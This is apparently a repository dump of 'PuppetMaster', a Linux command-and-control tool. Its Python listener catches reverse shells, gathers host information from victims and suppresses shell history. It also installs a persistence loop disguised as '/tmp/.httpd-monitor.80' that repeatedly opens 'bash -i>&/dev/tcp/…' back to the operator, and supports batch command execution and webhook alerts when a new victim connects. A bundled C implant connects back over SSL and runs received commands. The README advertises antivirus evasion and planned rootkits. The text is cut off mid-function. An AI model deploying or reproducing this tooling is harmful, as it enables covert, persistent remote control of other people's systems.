├── Master.py ├── README.md ├── SSL-shell ├── CMakeLists.txt ├── LICENSE ├── Makefile ├── README.md ├── main.c ├── shell.c ├── shell.h ├── utils.c └── utils.h ├── cert.pem ├── key.pem ├── qqwry.dat └── qqwry.py /Master.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import ssl 3 | import random 4 | import hashlib 5 | import asyncio 6 | import datetime 7 | import readline 8 | import traceback 9 | from qqwry import QQwry 10 | 11 | print('''\033[1;37m 12 | 13 | ____ 14 | ,' , `. ___ 15 | ,-+-,.' _ | ,--.'|_ 16 | ,-+-. ; , || | | :,' __ ,-. 17 | ,--.'|' | ;| .--.--. : : ' : ,' ,'/ /| 18 | | | ,', | ': ,--.--. / / .;__,' / ,---. ' | |' | 19 | | | / | | ||/ \ | : /`.| | | / \| | ,' 20 | ' | : | : |.--. .-. || : ;_ :__,'| : / / ' : / 21 | ; . | ; |--' \__\/: . . \ \ `.' : |__. ' / | | ' 22 | | : | | , ," .--.; | `----. | | '.'' ; /; : | 23 | | : ' |/ / / ,. | / /`--' ; : ' | / | , ; 24 | ; | |`-' ; : .' '--'. /| , /| : |---' 25 | | ;/ | , .-./ `--'---' ---`-' \ \ / 26 | '---' `--`---' `----' 27 | 28 | \033[0m''') 29 | 30 | reverse_host = "127.0.0.1" 31 | reverse_tcp_port = "47080" 32 | reverse_ssl_port = "47443" 33 | MultiMaster_port = "47470" 34 | webhook_url = "" 35 | 36 | class PuppetMaster: 37 | def __init__(self): 38 | self.sessions = list() 39 | self.handlers = list() 40 | self.quiet = False 41 | self.Persistence = False 42 | self.current_session = None 43 | self.DuplicateSession = False 44 | self.PersistenceCommand = f'(ps -ef|grep /tmp/.httpd-monitor.80|grep -v grep) || (echo "while true;do sleep 474;(mkfifo /tmp/-;bash -i/tmp/-;rm /tmp/-)||(bash -i>&/dev/tcp/{reverse_host}/{reverse_tcp_port} 0>&1); done;">/tmp/.httpd-monitor.80 && chmod +x /tmp/.httpd-monitor.80 && (nohup bash /tmp/.httpd-monitor.80 >/dev/null 2>&1 &))' 45 | 46 | async def execute_cmd(self, command): 47 | command = command + "\n" 48 | if self.current_session.get("writer") and self.current_session.get("reader"): 49 | try: 50 | self.current_session["writer"].write( command.encode() ) 51 | await self.current_session["writer"].drain() 52 | except Exception as e: 53 | print(e) 54 | 55 | 56 | Puppet_Master = PuppetMaster() 57 | 58 | def completer(text, state): 59 | func = ['cls', 'clear', 'listeners', 'handlers', 'sessions', 'execute ', 'quiet', 'close', 'history', 'exit', 'BATCH-EXECUTE ', 'use '] + [ _['hash'] for _ in Puppet_Master.sessions ] 60 | matches = [ _ for _ in func if _.startswith(text) ] 61 | if state < len(matches): 62 | return matches[state] 63 | else: 64 | return None 65 | 66 | readline.parse_and_bind('tab: complete') 67 | readline.set_completer(completer) 68 | 69 | IPSelect = QQwry() 70 | IPSelect.load_file("qqwry.dat") 71 | 72 | async def handle_shell_init(reader, writer): 73 | 74 | init_data = bytes() 75 | 76 | randomStringInitSuffix = randomString() 77 | randomStringHashPrefix = randomString() 78 | randomStringHashSuffix = randomString() 79 | randomStringWhoamiPrefix = randomString() 80 | randomStringWhoamiSuffix = randomString() 81 | randomStringCPUinfoPrefix = randomString() 82 | randomStringCPUinfoSuffix = randomString() 83 | randomStringHostnamePrefix = randomString() 84 | randomStringHostnameSuffix = randomString() 85 | 86 | while True: 87 | try: 88 | randomStringInitPrefix = randomString() 89 | writer.write( "export HISTSIZE=0; echo {};\n".format(randomStringInitPrefix).encode() ) 90 | await writer.drain() 91 | await asyncio.sleep(4) 92 | 93 | data = await asyncio.wait_for( reader.read(40960), timeout=10 ) 94 | 95 | init_data += data 96 | if randomStringInitPrefix in data.decode().replace(f"echo {randomStringInitPrefix}", ""): 97 | break 98 | 99 | except asyncio.TimeoutError: 100 | writer.close() 101 | return None 102 | 103 | except KeyboardInterrupt: 104 | print("Ctrl + C") 105 | 106 | except Exception as e : 107 | print(traceback.format_exc()) 108 | writer.close() 109 | return None 110 | 111 | init_command = str() 112 | init_command += "export HISTSIZE=0;" 113 | init_command += f"echo {randomStringWhoamiPrefix} && whoami && echo {randomStringWhoamiSuffix}\n" 114 | init_command += f"echo {randomStringCPUinfoPrefix} && cat /proc/cpuinfo && echo {randomStringCPUinfoSuffix}\n" 115 | init_command += f"echo {randomStringHostnamePrefix} && (hostname||cat /etc/hostname) && echo {randomStringHostnameSuffix}\n" 116 | init_command += f"echo {randomStringHashPrefix} && whoami && cat /proc/version /etc/fstab /proc/net/route && echo {randomStringHashSuffix}\n" 117 | writer.write( init_command.encode() ) 118 | await writer.drain() 119 | 120 | #如果持久化选项为True则执行deamon进程持久化命令 121 | if Puppet_Master.Persistence: 122 | writer.write( Puppet_Master.PersistenceCommand.encode() + "\n".encode() ) 123 | await writer.drain() 124 | 125 | writer.write( f"echo {randomStringInitSuffix}\n".encode() ) 126 | await writer.drain() 127 | 128 | while True: 129 | try: 130 | data = await asyncio.wait_for( reader.read(40960), timeout=10 ) 131 | init_data += data 132 | 133 | if randomStringInitSuffix in data.decode().replace(f"echo {randomStringInitSuffix}", ""): 134 | # getTextBetweenStrings()未匹配到则返回,若hostname或uesrname中包含也返回 135 | puppetHash = getTextBetweenStrings( 136 | init_data.decode().replace(f"echo {randomStringHashPrefix}", "").replace(f"echo {randomStringHashSuffix}", ""), 137 | randomStringHashPrefix, 138 | randomStringHashSuffix 139 | ).strip() 140 | 141 | username = getTextBetweenStrings( 142 | init_data.decode().replace(f"echo {randomStringWhoamiPrefix}", "").replace(f"echo {randomStringWhoamiSuffix}", ""), 143 | randomStringWhoamiPrefix, 144 | randomStringWhoamiSuffix 145 | ).strip() 146 | 147 | hostname = getTextBetweenStrings( 148 | init_data.decode().replace(f"echo {randomStringHostnamePrefix}", "").replace(f"echo {randomStringHostnameSuffix}", ""), 149 | randomStringHostnamePrefix, 150 | randomStringHostnameSuffix 151 | ).strip() 152 | 153 | cpuinfo = getTextBetweenStrings( 154 | init_data.decode().replace(f"echo {randomStringCPUinfoPrefix}", "").replace(f"echo {randomStringCPUinfoSuffix}", ""), 155 | randomStringCPUinfoPrefix, 156 | randomStringCPUinfoSuffix 157 | ).strip() 158 | 159 | if "\n" in hostname: 160 | hostname = "" 161 | 162 | if "\n" in username: 163 | username = "" 164 | 165 | #获取CPU核心数 166 | if "model name" in cpuinfo: 167 | session_cpu_core = str(cpuinfo.count("model name")) 168 | elif "vendor_id" in cpuinfo: 169 | session_cpu_core = str(cpuinfo.count("vendor_id")) 170 | else: 171 | session_cpu_core = str(cpuinfo.count("processor")) 172 | 173 | #根据系统信息计算Session Hash 174 | session_hash = hashlib.md5(puppetHash.encode()).hexdigest() 175 | 176 | session = dict() 177 | peername = writer.get_extra_info("peername") 178 | sockname = writer.get_extra_info("sockname") 179 | peername = peername[0]+":"+str(peername[1]) 180 | sockname = sockname[0]+":"+str(sockname[1]) 181 | session["inittime"] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") 182 | session["peername"] = peername 183 | session["sockname"] = sockname 184 | session["username"] = username 185 | session["hostname"] = hostname 186 | session["history"] = bytes() 187 | session["reader"] = reader 188 | session["writer"] = writer 189 | session["hash"] = session_hash 190 | session["core"] = session_cpu_core 191 | session["org"] = str() 192 | 193 | if ( session["hash"] not in [ _["hash"] for _ in Puppet_Master.sessions ] ) or ( Puppet_Master.DuplicateSession ): 194 | org = IPSelect.lookup(peername.split(":")[0]) 195 | 196 | session["org"] = org[0]+org[1] 197 | Puppet_Master.sessions.append(session) 198 | PrintInfo(f'Session \033[1;37m{session_hash}\033[0m {hostname} {username} \033[1;37m{sockname} -> {peername}\033[0m {datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")}') 199 | dingding_send_meassage( f'Session \033[1;37m{session_hash}\033[0m {hostname} {username} \033[1;37m{sockname} -> {peername}\033[0m {datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")} {org}' ) 200 | break 201 | 202 | else: 203 | if Puppet_Master.quiet == False: 204 | print(f'\033[33m[*] Session {session_hash} {hostname} {username} {sockname} -> {peername} in sessions list {datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")}\033[0m') 205 | writer.close() 206 | return None 207 | 208 | elif not data.decode(): 209 | return None 210 | 211 | except asyncio.TimeoutError: 212 | writer.close() 213 | return None 214 | 215 | except KeyboardInterrupt: 216 | print("Ctrl + C") 217 | 218 | except Exception as e : 219 | print(traceback.format_exc()) 220 | writer.close() 221 | return None 222 | 223 | while writer.is_closing()==False: 224 | try: 225 | data = await reader.read(40960) 226 | if data.decode(): 227 | Puppet_Master.sessions[Puppet_Master.sessions.index(session)]["history"] += data 228 | if Puppet_Master.current_session and Puppet_Master.current_session["peername"] == peername: 229 | print(data.decode(), end="") 230 | 231 | else: 232 | writer.close() 233 | Puppet_Master.sessions.remove(session) 234 | except Exception as e: 235 | print(e) 236 | continue 237 | 238 | 239 | print(f'\033[1;31m[*]\033[0m Session \033[1;37m{session_hash}\033[0m {hostname} {username} \033[1;37m{sockname} -> {peername}\033[0m {datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")} Close') 240 | 241 | MasterPrompt = "\033[1;4;37mMaster\033[0m > " 242 | ConsolePrompt = "\033[1;4;37mMaster\033[0m > " 243 | async def MasterConsole(): 244 | while True: 245 | #Python 3.7 3.8 246 | #print(ConsolePrompt, end="") 247 | #console_cmd = await asyncio.get_running_loop().run_in_executor(None, input) 248 | 249 | #Python 3.9 3.10 3.11 ...... 250 | if Puppet_Master.current_session: 251 | ConsolePrompt = f"(\033[1;4;34m{Puppet_Master.current_session['hash'][:8]}\033[0m) > " 252 | else: 253 | ConsolePrompt = MasterPrompt 254 | console_cmd = await asyncio.to_thread(input, ConsolePrompt) 255 | console_cmd = console_cmd.strip() 256 | 257 | if console_cmd == "exit": 258 | for handler in Puppet_Master.handlers: 259 | handler.close() 260 | break 261 | 262 | elif console_cmd.split() and console_cmd.split()[0] == "sessions" : 263 | print( 264 | "Sessions {}".format(len(Puppet_Master.sessions)).ljust(32," ") + " " + 265 | "Hostname".ljust(20," ") + " " + 266 | "Username".ljust(8," ") + " " + 267 | "CPU " 268 | ) 269 | print( 270 | "="*32 + " " + 271 | "="*20 + " " + 272 | "="*8 + " " + 273 | "="*3 + " " 274 | ) 275 | for session in Puppet_Master.sessions: 276 | print(f"\033[1;37m{session['hash']}\033[0m {session['hostname'].ljust(20,' ')} {session['username'].ljust(8,' ')} {session['core'].ljust(3,' ')} {session['sockname']} -> {session['peername'].ljust(21,' ')} {session['inittime']} {session['org']} ") 277 | 278 | elif console_cmd.split() and console_cmd.split()[0] == "listerner": 279 | print() 280 | 281 | elif console_cmd.split() and console_cmd.split()[0] == "execute" : 282 | if Puppet_Master.current_session or "-i" in console_cmd.split(): 283 | #备注:需要优先处理-i后的会话,暂未实现 284 | if "-c" in console_cmd.split(): 285 | execute_cmd = console_cmd.split()[console_cmd.split().index("-c") +1] 286 | 287 | elif len(console_cmd.split()) > 1 : 288 | execute_cmd = " ".join( console_cmd.split()[console_cmd.split().index("execute")+1:] ) 289 | 290 | execute_result = await Puppet_Master.execute_cmd( execute_cmd ) 291 | 292 | elif console_cmd.split() and console_cmd.split()[0] == "BATCH-EXECUTE" : 293 | if len(console_cmd.split()) > 1 : 294 | execute_cmd = " ".join( console_cmd.split()[console_cmd.split().index("BATCH-EXECUTE")+1:] ) 295 | 296 | for session in Puppet_Master.sessions: 297 | Puppet_Master.current_session = Puppet_Master.sessions[Puppet_Master.sessions.index(session)] 298 | execute_result = await Puppet_Master.execute_cmd( execute_cmd ) 299 | PrintInfo( f"{Puppet_Master.current_session['hash']} {Puppet_Master.current_session['peername']} {Puppet_Master.current_session['org']} Executed." ) 300 | 301 | Puppet_Master.current_session = None 302 | 303 | elif Puppet_Master.current_session and console_cmd.strip() == "shell" : 304 | execute_result = await Puppet_Master.execute_cmd( "\n" ) 305 | while True: 306 | ConsolePrompt = "" 307 | shell_cmd = await asyncio.to_thread(input, ConsolePrompt) 308 | shell_cmd = shell_cmd.strip() 309 | if shell_cmd == "exit" or shell_cmd == "bg": 310 | break 311 | execute_result = await Puppet_Master.execute_cmd( shell_cmd ) 312 | 313 | elif Puppet_Master.current_session and console_cmd.strip() == "close" : 314 | Puppet_Master.current_session["writer"].close() 315 | Puppet_Master.current_session = None 316 | 317 | elif console_cmd.split() and console_cmd.split()[0] == "use": 318 | if len(console_cmd.split()) >1: 319 | session_id = console_cmd.split()[1] 320 | for session in Puppet_Master.sessions: 321 | if session_id == session["hash"] or session_id == session["peername"]: 322 | Puppet_Master.current_session = Puppet_Master.sessions[Puppet_Master.sessions.index(session)] 323 | else: 324 | print("\033[1;31m[!] Use Session Hash or Peername/RemoteAddress......\033[0m") 325 | 326 | elif Puppet_Master.current_session and console_cmd == "bg": 327 | Puppet_Master.current_session = None 328 | 329 | elif Puppet_Master.current_session and console_cmd == "history": 330 | history = "".join( [ session["history"].decode() for session in Puppet_Master.sessions if session["hash"]==Puppet_Master.current_session["hash"] ] ) 331 | print(history) 332 | 333 | elif console_cmd == "quiet": 334 | if Puppet_Master.quiet == True: 335 | Puppet_Master.quiet = False 336 | else: 337 | Puppet_Master.quiet = True 338 | print( "Quiet => {}".format(Puppet_Master.quiet) ) 339 | 340 | else: 341 | continue 342 | return 343 | def PrintInfo(string): 344 | prefix = "\033[1;32m[*]\033[0m " 345 | print( prefix + string ) 346 | return prefix + string 347 | 348 | def randomString(): 349 | return ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', 16)) 350 | 351 | def getTextBetweenStrings(text, start_string, end_string): 352 | if (start_string not in text) or (end_string not in text): 353 | return "" 354 | start_index = text.rfind(start_string) + len(start_string) 355 | end_index = text.rfind(end_string, start_index) 356 | return text[start_index:end_index] 357 | import urllib.request 358 | import json 359 | 360 | def dingding_send_meassage(message): 361 | if not webhook_url: 362 | return None 363 | data = { 364 | 'msgtype': "text", 365 | "text": { 'content':'

Master Session:

\n' + message } 366 | } 367 | 368 | header = { 369 | "Content-Type": "application/json", 370 | "Charset": "UTF-8" 371 | } 372 | send_data = json.dumps(data) 373 | send_data = send_data.encode("utf-8") 374 | request = urllib.request.Request(url=webhook_url, data=send_data, headers=header) 375 | 376 | opener = urllib.request.urlopen(request) 377 | 378 | async def main(): 379 | keyfile = 'key.pem' 380 | certfile = 'cert.pem' 381 | SSLcontext = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) 382 | SSLcontext.load_cert_chain(certfile=certfile, keyfile=keyfile) 383 | reverse_tcp_server = await asyncio.start_server(handle_shell_init, '0.0.0.0', reverse_tcp_port ) 384 | reverse_ssl_server = await asyncio.start_server(handle_shell_init, '0.0.0.0', reverse_ssl_port, ssl=SSLcontext ) 385 | #MultiMaster = await asyncio.start_server(MultiMaster, '0.0.0.0', MultiMaster_port, ssl=SSLcontext ) 386 | 387 | addr = reverse_tcp_server.sockets[0].getsockname() 388 | addr = addr[0]+":"+str(addr[1]) 389 | 390 | ssl_addr = reverse_ssl_server.sockets[0].getsockname() 391 | ssl_addr = ssl_addr[0]+":"+str(ssl_addr[1]) 392 | 393 | PrintInfo("socketListener : "+addr) 394 | PrintInfo("SSLSocketListener : "+ssl_addr) 395 | 396 | PrintInfo( f"LinuxReverseTCPCommand : bash -i>&/dev/tcp/{reverse_host}/{reverse_tcp_port} 0>&1" ) 397 | PrintInfo( f"LinuxReverseSSLCommand : mkfifo /tmp/-;bash -i/tmp/-;rm /tmp/-" ) 398 | print() 399 | 400 | console = await MasterConsole() 401 | # 循环运行服务器 402 | Puppet_Master.handlers.append( reverse_tcp_server ) 403 | Puppet_Master.handlers.append( reverse_ssl_server ) 404 | 405 | async with reverse_tcp_server, reverse_ssl_server: 406 | await reverse_tcp_server.serve_forever() 407 | await reverse_ssl_server.serve_forever() 408 | 409 | asyncio.run(main()) 410 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PuppetMaster(Linux C2): 2 | Linux反向shell/python-shell中控平台,主体0第三方依赖及轻量化异步,默认自带无限制持久化,防止任何服务端意外导致权限丢失。 3 | 4 | 声明:本项目仅用于交流分享及合法授权活动,一切用户行为与作者无关且不负任何责任。 5 | 6 | **第一次使用注意修改Master主程序中的host变量,把127.0.0.1改为你的服务器公网ip,否则默认持久化命令会将权限持续反弹到127上。** 7 | 8 | ![图片](https://github.com/user-attachments/assets/5bebaee8-cf2e-4480-ad96-7b81690d9abf) 9 | 10 | 硬性Windows平台用户注意:Windows报错缺少readline库是因为Windows版的Python官方库中不包含readline,在Windows上pip install readline也会报错,如果一定要在Windows平台上跑的话可以把import readline改成第三方库或直接注释readline相关的行(就三行,但会缺少补全功能) 11 | 12 | # Help: 13 | ### Master Console: 14 | - BATCH-EXECUTE : 批量命令执行(目前只支持全部批量,部分批量有待考量) 15 | - sessions : 列出所有在线会话 16 | - quiet : 安静模式(关闭重复上线的提示) 17 | - use : 使用指定会话(tab键补全)可使用hash或远程连接的地址如(1.1.1.1:12345) 18 | 19 | ### Session: 20 | - sessions : 列出所有会话 21 | - execute : 命令执行(execute ps -ef) 22 | - shell : 交互式Shell 23 | - close : 关闭当前会话(不会杀掉持久化进程) 24 | - history : 输出完整的执行记录,包括执行的命令及回显 25 | - bg : 会话/shell中可回退且不关闭会话 26 | 27 | ### Make Implant: 28 | 修改服务端IP: 29 | ![图片](https://github.com/user-attachments/assets/69d8a14d-652a-47f8-9c75-a68efad433f1) 30 | 31 | cd SSL-shell && make linux 即可,而后会生成sslshell这个文件。 32 | 33 | ### DingDing Webhook: 34 | 将webhook url填入而后关键词设置为Puppet即可: 35 | ![图片](https://github.com/user-attachments/assets/7623cfbb-6d6d-4f34-bfa1-f78305e77650) 36 | 37 | # Todo: 38 | - 社区版 39 | - [x] 无加密通用TCP反弹Shell 40 | - [x] Openssl加密反弹Shell 41 | - [x] 多反弹Shell接收 42 | - [x] Session Hash(唯一权限避免重复) 43 | - [x] 基础deamon进程权限维持 44 | - [x] Linux反向Shell-release(SSLShell elf二进制文件但不包含免杀对抗,目前2024/7月社区版VT全过) 45 | - [x] 批量执行命令 46 | - [x] 钉钉/邮箱上线提示 47 | - [x] 安静模式(不在终端输出上线信息) 48 | - [x] 命令执行结果history(主要是批量命令执行回显记录) 49 | - 商业版 50 | - [x] 社区版所有功能及部分优化 51 | - [ ] 用户态/内核态Rootkit 52 | - [ ] Linux植入物反沙箱动静态免杀对抗 53 | - [ ] Python反向Shell植入物Beacon 54 | - [ ] HTTPS/ICMP/SSH加密内网隧道 55 | - [x] 多用户Web控制端(多人协作) 56 | - [ ] 白名单死点解析 57 | - [x] 上线同时获取ASN(社区版仅支持org) 58 | - [x] 自定义Webshell兼容PHP/JSP/ASP/ASPX/CMDSHELL/.... 59 | -------------------------------------------------------------------------------- /SSL-shell/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.20) 2 | project(sslshell LANGUAGES C) 3 | 4 | set(SERVER_HOST "127.0.0.1" CACHE STRING "LHOST (default: 127.0.0.1)") 5 | set(SERVER_PORT "8080" CACHE STRING "LPORT (default: 8080)") 6 | message(STATUS "SERVER_HOST: ${SERVER_HOST}") 7 | message(STATUS "SERVER_PORT: ${SERVER_PORT}") 8 | 9 | add_executable(sslshell main.c shell.c utils.c) 10 | set_property(TARGET sslshell PROPERTY 11 | MSVC_RUNTIME_LIBRARY "MultiThreaded$<$:Debug>" 12 | ) 13 | 14 | #set(OPENSSL_USE_STATIC_LIBS TRUE) 15 | find_package(OpenSSL REQUIRED) 16 | 17 | target_compile_features(sslshell PRIVATE c_std_99) 18 | target_compile_definitions(sslshell PUBLIC 19 | UNICODE 20 | _UNICODE 21 | WIN32_LEAN_AND_MEAN 22 | SERVER_HOST="${SERVER_HOST}" 23 | SERVER_PORT="${SERVER_PORT}") 24 | 25 | target_link_libraries(sslshell Ws2_32 OpenSSL::SSL OpenSSL::Crypto) 26 | -------------------------------------------------------------------------------- /SSL-shell/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 zedek1 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /SSL-shell/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -Wextra -std=gnu99 2 | LDFLAGS = -lssl -lcrypto 3 | 4 | SRC = main.c shell.c utils.c 5 | 6 | .PHONY: all 7 | 8 | all: 9 | @echo "Please specify the target platform: 'make windows' or 'make linux'" 10 | 11 | # to get openssl to work with windows cross-compilation create a new directory and run these commands 12 | # 1. git clone https://github.com/openssl/openssl.git && cd openssl 13 | # 2. ./Configure --cross-compile-prefix=x86_64-w64-mingw32- mingw64 14 | # 3. make 15 | # 16 | # then replace the absolute path of the openssl directory into CFLAGS and LDFLAGS as shown below 17 | windows: CC = x86_64-w64-mingw32-gcc 18 | windows: CFLAGS += -I/path/to/openssl/include -DUNICODE -D_UNICODE -DWIN32_LEAN_AND_MEAN 19 | windows: LDFLAGS += -L/path/to/openssl/ -lws2_32 20 | windows: sslshell 21 | 22 | linux: CC = gcc 23 | linux: sslshell 24 | 25 | sslshell: $(SRC) 26 | $(CC) $(SRC) -o sslshell $(CFLAGS) $(LDFLAGS) 27 | 28 | .PHONY: clean 29 | clean: 30 | rm -f sslshell* 31 | -------------------------------------------------------------------------------- /SSL-shell/README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | # SSL reverse shell 4 | [![Codacy Badge](https://app.codacy.com/project/badge/Grade/df078d96e7bc4e9ba52541563456d9f6)](https://app.codacy.com/gh/zedek1/SSL-shell/dashboard?utm_source=gh&utm_medium=referral&utm_content=&utm_campaign=Badge_grade) 5 | ![GitHub License](https://img.shields.io/github/license/zedek1/SSL-shell) 6 | 7 |
8 | 9 | 10 | ### Overview 11 | 12 | This is a cross-platform SSL reverse shell with (soon to come) custom commands. No server-side code is needed as it works perfectly with ncat! 13 | 14 | --- 15 | 16 | ### Usage 17 | 18 | 19 | Run ncat with the --ssl flag 20 | 21 | ```bash 22 | nc -lnvp 8080 --ssl 23 | ``` 24 | 25 | specify lhost host and lport as command line arguments 26 | 27 | ``` 28 | C:\Users\User> sslshell.exe 192.168.48.73 8080 29 | ``` 30 | 31 | If lhost and/or lport is not given from the command-line it will use the compile definitions which are 127.0.0.1 and 8080 by default 32 | 33 | --- 34 | 35 | **Building for Windows targets** 36 | 37 | Compiling for windows targets from linux requires a small amount of setup to get openssl to work with mingw cross-compilation. Create a new directory and run the commands below 38 | 39 | ```bash 40 | git clone https://github.com/openssl/openssl.git && cd openssl 41 | ./Configure --cross-compile-prefix=x86_64-w64-mingw32- mingw64 42 | make 43 | ``` 44 | 45 | then in the Makefile replace the absolute path of the openssl directory into CFLAGS and LDFLAGS. These instructions are in Makfile as well. After that you should be able to compile successfully 46 | 47 | ```bash 48 | make windows 49 | ``` 50 | 51 | --- 52 | 53 | **Using cmake** 54 | 55 | alternatively you can compile on windows using cmake 56 | 57 | ```powershell 58 | cmake -B build 59 | cmake --build build --config Release 60 | ``` 61 | 62 | --- 63 | 64 | **Building for Linux targets** 65 | 66 | 67 | ```bash 68 | make linux 69 | ``` -------------------------------------------------------------------------------- /SSL-shell/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #ifdef WIN32 6 | #include 7 | #include 8 | 9 | #else 10 | #include 11 | #include 12 | #include 13 | #define closesocket(s) close(s) 14 | static int WSACleanup() { return 0; } 15 | #endif 16 | 17 | #include "shell.h" 18 | 19 | //definitions here for now 20 | #define SERVER_HOST "127.0.0.1" 21 | #define SERVER_PORT "47443" 22 | 23 | SSL_CTX *create_context() 24 | { 25 | const SSL_METHOD *method; 26 | SSL_CTX *ctx; 27 | 28 | SSL_library_init(); 29 | OpenSSL_add_all_algorithms(); 30 | SSL_load_error_strings(); 31 | method = TLS_client_method(); 32 | ctx = SSL_CTX_new(method); 33 | if (!ctx) 34 | { 35 | fprintf(stderr, "SSL_CTX_new failed\n"); 36 | exit(EXIT_FAILURE); 37 | } 38 | 39 | return ctx; 40 | } 41 | 42 | int main(int argc, char **argv) 43 | { 44 | #ifdef WIN32 45 | WSADATA wsaData; 46 | if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) 47 | { 48 | fprintf(stderr, "WSAStartup error\n"); 49 | exit(EXIT_FAILURE); 50 | } 51 | #endif 52 | 53 | int sock = -1; 54 | SSL_CTX *ctx; 55 | SSL *ssl; 56 | 57 | // create SSL context 58 | printf("\nCreating SSL context\n"); 59 | ctx = create_context(); 60 | SSL_CTX_set_ecdh_auto(ctx, 1); 61 | 62 | // create socket 63 | sock = socket(AF_INET, SOCK_STREAM, 0); 64 | if (sock == -1) 65 | { 66 | fprintf(stderr, "Socket creation failed\n"); 67 | WSACleanup(); 68 | exit(EXIT_FAILURE); 69 | } 70 | 71 | // set up socket information 72 | struct sockaddr_in serveraddr; 73 | memset(&serveraddr, 0, sizeof(serveraddr)); 74 | serveraddr.sin_family = AF_INET; 75 | 76 | if (argc == 3) 77 | { 78 | serveraddr.sin_port = htons(atoi(argv[2])); 79 | inet_pton(AF_INET, argv[1], &(serveraddr.sin_addr)); 80 | } 81 | else 82 | { 83 | printf("Using compile definitions SERVER_HOST:%s SERVER_PORT:%s\n", SERVER_HOST, SERVER_PORT); 84 | serveraddr.sin_port = htons(atoi(SERVER_PORT)); 85 | inet_pton(AF_INET, SERVER_HOST, &(serveraddr.sin_addr)); 86 | } 87 | 88 | // connect to the server 89 | if (connect(sock, (struct sockaddr *)&serveraddr, sizeof(serveraddr)) == -1) 90 | { 91 | fprintf(stderr, "Connection failed\n"); 92 | closesocket(sock); 93 | WSACleanup(); 94 | exit(EXIT_FAILURE); 95 | } 96 | 97 | // create SSL object and bind to socket 98 | printf("\nAttempting to initialize SSL\n"); 99 | ssl = SSL_new(ctx); 100 | SSL_set_fd(ssl, sock); 101 | 102 | // perform SSL handshake 103 | printf("Performing SSL handshake\n"); 104 | if (SSL_connect(ssl) <= 0) 105 | { 106 | fprintf(stderr, "SSL handshake failed\n"); 107 | SSL_free(ssl); 108 | closesocket(sock); 109 | WSACleanup(); 110 | exit(EXIT_FAILURE); 111 | } 112 | 113 | // start command loop 114 | SSL_shell(ssl); 115 | 116 | // cleanup 117 | SSL_shutdown(ssl); 118 | SSL_free(ssl); 119 | closesocket(sock); 120 | SSL_CTX_free(ctx); 121 | WSACleanup(); 122 | 123 | return 0; 124 | } 125 | -------------------------------------------------------------------------------- /SSL-shell/shell.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #ifdef WIN32 6 | #include 7 | #else 8 | #include 9 | #define _popen(command, type) popen(command, type) 10 | #define _pclose(stream) pclose(stream) 11 | #endif 12 | 13 | #include "shell.h" 14 | #include "utils.h" 15 | 16 | void send_cwd(SSL *ssl); 17 | bool change_directory(const char *dir); 18 | 19 | void SSL_shell(SSL *ssl) 20 | { 21 | char buffer[1024]; 22 | while (1) 23 | { 24 | send_cwd(ssl); 25 | 26 | int bytesRead = SSL_read(ssl, buffer, sizeof(buffer)); 27 | if (bytesRead <= 0) 28 | { 29 | fprintf(stderr, "Connection closed by server\n"); 30 | break; 31 | } 32 | 33 | buffer[bytesRead] = '\0'; 34 | printf("Received command: %s\n", buffer); 35 | 36 | if (strncmp(buffer, "exit", 4) == 0 || strncmp(buffer, "quit", 4) == 0) 37 | { 38 | printf("Shutting down"); 39 | break; 40 | } 41 | 42 | if (strncmp(buffer, "cd", 2) == 0) 43 | { 44 | char **words = NULL; 45 | int wordCount = 0; 46 | if (split_command(buffer, &words, &wordCount)) 47 | { 48 | fprintf(stderr, "Tokenization error\n"); 49 | SSL_write(ssl, "Tokenization error\n", strlen("tokenization error\n")); 50 | continue; 51 | } 52 | 53 | if (!change_directory(words[1])) 54 | { 55 | SSL_write(ssl, "Client could not change cwd\n", strlen("Client could not change cwd\n")); 56 | } 57 | cleanup_argarray(&words, &wordCount); 58 | continue; 59 | } 60 | 61 | // get stderr as well 62 | if (strlen(buffer) + strlen(" 2>&1") < sizeof(buffer)) 63 | { 64 | strcat(buffer, " 2>&1"); 65 | } 66 | 67 | FILE *fp = _popen(buffer, "r"); 68 | if (fp == NULL) 69 | { 70 | fprintf(stderr, "Error executing command\n"); 71 | return; 72 | } 73 | 74 | while (fgets(buffer, sizeof(buffer), fp) != NULL) 75 | { 76 | SSL_write(ssl, buffer, strlen(buffer)); 77 | } 78 | 79 | _pclose(fp); 80 | } 81 | } 82 | 83 | #ifdef WIN32 84 | void send_cwd(SSL *ssl) 85 | { 86 | char path[MAX_PATH]; 